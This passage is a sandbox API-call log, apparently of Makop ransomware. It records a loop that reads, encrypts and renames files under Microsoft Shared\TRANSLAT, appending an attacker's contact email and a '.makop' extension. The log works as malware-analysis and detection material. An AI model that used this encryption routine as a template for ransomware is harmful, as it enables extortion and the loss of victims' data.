lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0101.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0101.665] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.665] SetEndOfFile (hFile=0xf0) returned 1 [0101.672] GetProcessHeap () returned 0x48a0000 [0101.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.672] GetProcessHeap () returned 0x48a0000 [0101.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.672] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0101.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.674] CloseHandle (hObject=0xf0) returned 1 [0101.674] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0101.674] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned 68 [0101.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.675] GetProcessHeap () returned 0x48a0000 [0101.675] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.675] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0101.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.675] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.675] GetProcessHeap () returned 0x48a0000 [0101.675] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.675] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0101.675] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0101.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0101.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0101.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0101.681] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0101.681] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.681] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.681] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.682] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x600, lpOverlapped=0x0) returned 1 [0101.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600, dwBufLen=0x600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600) returned 1 [0101.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x600, lpOverlapped=0x0) returned 1 [0101.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.682] SetEndOfFile (hFile=0xf0) returned 1 [0101.689] GetProcessHeap () returned 0x48a0000 [0101.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.689] GetProcessHeap () returned 0x48a0000 [0101.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.689] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0101.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.699] CloseHandle (hObject=0xf0) returned 1 [0101.699] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0101.699] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL") returned 68 [0101.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.701] GetProcessHeap () returned 0x48a0000 [0101.701] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.701] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0101.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.702] GetProcessHeap () returned 0x48a0000 [0101.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0101.702] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0101.706] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0101.706] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0101.706] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0101.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0101.707] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.707] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.707] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b990, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b990, lpOverlapped=0x0) returned 1 [0101.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b990, dwBufLen=0x2b990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b990) returned 1 [0101.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b990, lpOverlapped=0x0) returned 1 [0101.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ba64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.716] SetEndOfFile (hFile=0xf0) returned 1 [0101.726] GetProcessHeap () returned 0x48a0000 [0101.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.726] GetProcessHeap () returned 0x48a0000 [0101.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.726] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0101.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.727] CloseHandle (hObject=0xf0) returned 1 [0101.728] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0101.728] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL") returned 68 [0101.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.728] GetProcessHeap () returned 0x48a0000 [0101.729] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.729] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0101.729] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.729] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.729] GetProcessHeap () returned 0x48a0000 [0101.729] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.729] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0101.729] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0101.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0101.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0101.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0101.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0101.735] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.735] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.735] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40f70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40f70, lpOverlapped=0x0) returned 1 [0101.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40f70, dwBufLen=0x40f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40f70) returned 1 [0101.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.746] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40f70, lpOverlapped=0x0) returned 1 [0101.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.748] SetEndOfFile (hFile=0xf0) returned 1 [0101.755] GetProcessHeap () returned 0x48a0000 [0101.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.755] GetProcessHeap () returned 0x48a0000 [0101.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.755] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0101.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.757] CloseHandle (hObject=0xf0) returned 1 [0101.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0101.758] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned 68 [0101.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.759] GetProcessHeap () returned 0x48a0000 [0101.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.760] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0101.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.760] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.760] GetProcessHeap () returned 0x48a0000 [0101.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0101.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0101.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0101.765] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0101.765] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0101.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0101.765] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.766] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.766] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11390, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11390, lpOverlapped=0x0) returned 1 [0101.768] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11390, dwBufLen=0x11390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11390) returned 1 [0101.769] SetFilePointerEx (in: hFile=0xf0, 